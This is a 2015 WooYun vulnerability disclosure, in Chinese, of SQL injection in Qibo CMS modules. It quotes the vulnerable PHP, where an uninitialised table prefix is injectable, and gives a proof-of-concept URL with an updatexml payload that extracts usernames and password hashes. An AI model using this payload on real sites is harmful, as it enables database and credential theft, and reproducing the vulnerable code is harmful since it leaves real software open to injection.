当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111673

漏洞标题:齐博多个系统SQL注入

相关厂商:齐博CMS

漏洞作者: 牛肉包子

提交时间:2015-05-07 10:54

修复时间:2015-08-06 11:40

公开时间:2015-08-06 11:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-07: 细节已通知厂商并且等待厂商处理中
2015-05-08: 厂商已经确认,细节仅向厂商公开
2015-05-11: 细节向第三方安全合作伙伴开放
2015-07-02: 细节向核心白帽子及相关领域专家公开
2015-07-12: 细节向普通白帽子公开
2015-07-22: 细节向实习白帽子公开
2015-08-06: 细节向公众公开

简要描述:

rt

详细说明:

我们以视频系统为例
看到
video/member/special.php

elseif($job=="show_BBSiframe"){
$rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE uid='$lfjuid' AND id='$id'");
if(!$rsdb){
showerr("资料不存在",1);
}
//专题内的贴子排序
if($act=="order")
{
unset($array);
foreach( $listdb AS $aid=>$list){
$list=$list*1000000+$aid;
$array[$list]=$aid;
}
ksort($array);
$rsdb[tids]=implode(",",$array);
$db->query("UPDATE {$_pre}special SET tids='$rsdb[tids]' WHERE uid='$lfjuid' AND id='$id'");
}

//添加贴子到专题
if($act=="add"&&$aid)
{
unset($_detail);
$detail=explode(",",$rsdb[tids]);
if(count($detail)>100){
showerr("记录已到上限!",1);
}
if(!in_array($aid,$detail)){
if($detail[0]==''){unset($detail[0]);}
$_detail[a]=$aid;
$rsdb[tids]=$string=implode(",",array_merge($_detail,$detail));
$db->query("UPDATE {$_pre}special SET tids='$string' WHERE uid='$lfjuid' AND id='$id'");
}
}
//移除专题里的贴子
if($act=="del"&&$aid)
{
$detail=explode(",",$rsdb[tids]);
foreach( $detail AS $key=>$value){
if($value==$aid){
unset($detail[$key]);
}
}
$rsdb[tids]=$string=implode(",",$detail);
$db->query("UPDATE {$_pre}special SET tids='$string' WHERE uid='$lfjuid' AND id='$id'");
}

//$type=='all'初始化列出专题里的贴子,$type=="list_atc"删除与添加时列出专题里的贴子
if($type=="list_atc"||$type=='all')
{
unset($_listdb,$show);
$detail=explode(",",$rsdb[tids]);
$string=0;
foreach( $detail AS $key=>$value){
if($value>0){
$string.=",$value";
}
}
if(ereg("^pwbbs",$webdb[passport_type])){
$query = $db->query("SELECT * FROM {$TB_pre}threads WHERE tid IN ($string)");
while($rs = $db->fetch_array($query)){
$rs[subject]="<a href='$webdb[passport_url]/read.php?tid=$rs[tid]' target=_blank>$rs[subject]</a>";
$_listdb[$rs[tid]]=$rs;
}
}
$aidsdb=explode(",",$rsdb[tids]);
$NUM=0;
foreach($aidsdb AS $key=>$value){
$NUM++;
if($_listdb[$value]){
$show.="<tr align='center' class='trA' onmouseover=\"this.className='trB'\" onmouseout=\"this.className='trA'\">
<td width='5%'>{$_listdb[$value][tid]}</td>
<td width='74%' align='left'>{$_listdb[$value][subject]}</td>
<td width='10%'><input type='text' name='listdb[{$value}]' size='5' value='{$NUM}0'></td>
<td width='11%'><A HREF='special.php?job=show_BBSiframe&id=$id&type=list_atc&act=del&aid={$_listdb[$value][tid]}' target='spiframe'>移除</A></td>
</tr>";
}
}
$show="<table width='100%' border='0' cellspacing='1' cellpadding='3'>
<tr align='center' bgcolor='#eeeeee'>
<td width='5%'>ID</td>
<td width='74%'>标 题</td>
<td width='10%'>排序值</td>
<td width='11%'>移除 </td>
$show
</tr>

</table>";
$show=str_replace("\r","",$show);
$show=str_replace("\n","",$show);
$show=str_replace('"','\"',$show);
echo "<SCRIPT LANGUAGE='JavaScript'>
<!--
parent.document.getElementById('sp_atclist').innerHTML=\"$show\";
//-->
</SCRIPT>";
}
//
if($type=='myatc'||$type=='all')
{
$detail=explode(",",$rsdb[tids]);
$show='';
if($page<1){
$page=1;
}
$rows=15;
$min=($page-1)*$rows;
if($keywords){//搜索时
$SQL=" BINARY subject LIKE '%$keywords%' ";
}elseif($ismy){
$SQL=" authorid='$lfjuid' ";
}else{
$SQL=' 1 ';
}

if($fid>0){
$SQL.=" AND fid='$fid' ";
}
$showpage=getpage("{$TB_pre}threads","WHERE $SQL","",$rows);
$query = $db->query("SELECT * FROM {$TB_pre}threads WHERE $SQL ORDER BY tid DESC LIMIT $min,$rows");


其中{$TB_pre}未初始化,由于qibo存在伪全局变量注册,所以造成了sql注入。
首先我们注册一个用户,然后发布专题。

10.png


然后记录专题id。

http://127.0.0.1/qibo_video1.0/video/showsp.php?fid=1&id=12


然后构造

http://127.0.0.1/qibo_video1.0/member/special.php?job=show_BBSiframe&type=myatc&id=12&TB_pre=qb_module where 1=1 or 1=updatexml(2,concat(0x7e,((select concat(username,0x5c,password) from qb_members limit 0,1))),0) %23


11.png


直接出数据
下载系统

12.png


新闻系统

13.png


就不一一演示了。

漏洞证明:

11.png

修复方案:

初始化

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-05-08 11:38

厂商回复:

这个问题已经有人提出过了。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-07 11:08 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    番茄湿父开始逮着齐博薅羊毛了吗

  2. 2015-05-07 11:22 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    @sco4x0 一周之前的咯。

  3. 2015-05-07 12:15 | 孤独行者 ( 普通白帽子 | Rank:110 漏洞数:44 | 时光如水,总是无言。你若安好,便是晴天)

    为什么又没有钱?

  4. 2015-05-07 12:22 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    @孤独行者 因为长得太丑

  5. 2015-05-07 12:28 | 孤独行者 ( 普通白帽子 | Rank:110 漏洞数:44 | 时光如水,总是无言。你若安好,便是晴天)

    @牛肉包子 牛肉包子应该很好吃啊。。很漂亮啊。。怎么能丑呢

  6. 2015-05-08 03:37 | 阿布 ( 路人 | Rank:16 漏洞数:5 )

    师父,我看不了 啊 分享给我啊

  7. 2015-08-06 12:45 | bobbi ( 路人 | Rank:8 漏洞数:6 | 人生真是寂寞如雪)

    又来个重复

  8. 2015-09-20 11:45 | Sun° ( 路人 | 还没有发布任何漏洞 | 学习学习)

    为啥爆出来的md5都不完整啊?求解

  9. 2015-09-20 11:46 | Sun° ( 路人 | 还没有发布任何漏洞 | 学习学习)

    @牛肉包子